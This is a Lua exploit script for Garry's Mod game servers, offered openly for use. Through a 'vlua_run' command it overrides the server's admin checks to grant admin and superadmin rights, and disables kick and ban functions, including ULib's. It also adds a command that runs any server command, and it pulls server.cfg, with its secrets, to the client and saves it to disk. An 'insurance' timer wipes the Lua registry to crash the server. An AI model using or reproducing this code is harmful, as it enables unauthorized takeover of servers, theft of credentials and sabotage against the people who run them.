--[[
	Exploit.lua
	Tyler | (STEAM_0:0:40143824)
	===DStream===
]]

    local function MakeAdmin()
            RunConsoleCommand("vlua_run",[[_R.Player.IsAdmin = function() return true end]])
            RunConsoleCommand("vlua_run",[[_R.Player.IsSuperAdmin = function() return true end]])
           
            timer.Simple(1, function()
                    RunConsoleCommand("vlua_run",[[for k,v in pairs(player.GetAll()) and v == LocalPlayer() do v:SetUserGroup('admin') end end]])
                    RunConsoleCommand("vlua_run",[[for k,v in pairs(player.GetAll()) and v == LocalPlayer() do v:SetUserGroup('superadmin') end end]])
            end)
            print("! sent, you are now admin")
    end
    concommand.Add("exploit_admin", MakeAdmin)
     
     
    local function NoBans()
            RunConsoleCommand("vlua_run",[[_R.Player.Ban = function() lolol = true end]])
            RunConsoleCommand("vlua_run",[[_R.Player.Kick = function() lolol = true end]])
           
            timer.Simple(0.1, function()
                    RunConsoleCommand("vlua_run",[[if ULib then ULib.kick = function() lolol = true end end]])
                    RunConsoleCommand("vlua_run",[[if ULib then ULib.ban = function() lolol = true end end]])
            end)
           
            timer.Simple(0.2, function()
                    RunConsoleCommand("vlua_run",[[if ULib then ULib.kickban = function() lolol = true end end]])
                    RunConsoleCommand("vlua_run",[[if ULib then ULib.addBan = function() lolol = true end end]])
            end)
           
            print("! sent, you now can't be kicked!")
    end
    concommand.Add("exploit_bans", NoBans)
     
     
    local function GetRCON()
            RunConsoleCommand("vlua_run","concommand.Add('lol_rcon',function(_,_,args) RunConsoleCommand( unpack(args) ) end)")
            RunConsoleCommand("vlua_run","concommand.Add('me',function(p) me = p end)")
            timer.Simple(0.1, function()
                    RunConsoleCommand("me")
            end)
            print("! sent")
    end
    concommand.Add("exploit_rcon", GetRCON)
     
    local function DumpCFG()
    RunConsoleCommand("vlua_run","datastream.StreamToClients(player.GetAll(),'DS',{a=file.Read('cfg/server.cfg',true)})")
    print("! sent")
    end
    concommand.Add("exploit_cfg", DumpCFG)
     
    local function DS(hdl,idx,enc,dec)
    PrintTable(dec)
    local lol = dec.a
    file.Write(tostring(os.date)..".txt", lol)
    print("! got and saved")
    end
    datastream.Hook("DS", DS)
     
     
    local function JustInCase()
            RunConsoleCommand("vlua_run","timer.Create('lol',4,0,function() if lolol then table.Empty(_R) end end)")
            print("! sent")
    end
    concommand.Add("exploit_insurance", JustInCase)
